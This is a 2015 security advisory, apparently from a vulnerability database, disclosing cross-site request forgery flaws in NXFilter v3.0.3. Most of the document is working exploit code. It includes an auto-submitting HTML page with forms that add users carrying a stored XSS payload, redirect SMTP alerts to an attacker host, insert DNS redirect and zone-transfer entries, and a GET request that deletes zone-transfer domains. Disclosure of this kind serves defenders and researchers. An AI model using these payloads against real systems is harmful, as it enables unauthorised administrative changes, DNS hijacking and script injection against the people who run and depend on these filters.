NXFilter 3.0.3 - Cross-Site Request Forgery

🗓️ 06 Nov 2015 00:00:00Reported by hyp3rlinxType

NXFilter v3.0.3 Cross-Site Request Forgery vulnerability allows arbitrary actions without CSRF protection

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-CSRF.txt


Vendor:
================================
www.nxfilter.org/p2/


Product:
================================
NXFilter v3.0.3


Vulnerability Type:
=================================
Cross site request forgery - CSRF


CVE Reference:
==============
N/A


Vulnerability Details:
=====================
No CSRF protections exist allowing us to make malicious HTTP requests on
behalf of our victim.
The Server will then happily process any of the following actions if our
victim clicks our infected linx
or visits our malicious website while currently logged in to the vulnerable
application.

1) "add arbitrary users"
2) "add or change SMTP settings"
3) "add arbitrary redirect domains"
4) "add arbitrary zone transfers"
5) "delete zone transfer domains"


Exploit code(s):
===============

<!DOCTYPE>
<html>
<head>
<title></title>

<body onLoad="doit()">

<script>
function doit(){
 var e=document.getElementById('HELL')
 e.submit()
}
</script>



1) CSRF add arbitrary users

<form id="HELL" action="http://localhost/user,user.jsp" method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="name" value="punksnotdead">
<input type="text" name="description" value="<script>alert(666)</script>">
 <---- and some persistent XSS!
</form>


2) CSRF add or change SMTP notification alerts

<form id="HELL" action="http://localhost/config,alert.jsp" method="post">
<input type="text" name="action_flag" value="update" >
<input type="text" name="admin_email" value="[email protected]">
<input type="text" name="smtp_host" value="6.6.6.0">
<input type="text" name="smtp_port" value="25">
<input type="text" name="smtp_user" value="hyp3rlinx">
<input type="text" name="smtp_passwd" value="abc123">
<input type="text" name="period" value="0">
<input type="text" name="token" value="">
</form>



3) CSRF add arbitrary redirect domain

<form id="HELL" action="http://localhost/config,redirection.jsp"
method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="src" value="hyp3rlinx.altervista.org">
<input type="text" name="dst" value="6.6.6.0">
</form>



4) CSRF add arbitrary zone transfers

<form id="HELL" action="http://localhost/config,zone_transfer.jsp"
method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="domain" value="hyp3rlinx.altervista.org">
<input type="text" name="ip" value="6.6.6.0">
</form>



5) CSRF delete zone transfer domains

http://localhost/config,zone_transfer.jsp?action_flag=delete&id=1


Disclosure Timeline:
======================================
Vendor Notification: October 18, 2015
November 5, 2015  : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Description:
==========================================================

Request Method(s):              [+] GET / POST


Vulnerable Product:             [+] NXFilter v3.0.3


===========================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx

06 Nov 2015 00:00Current

7.4High risk

Vulners AI Score7.4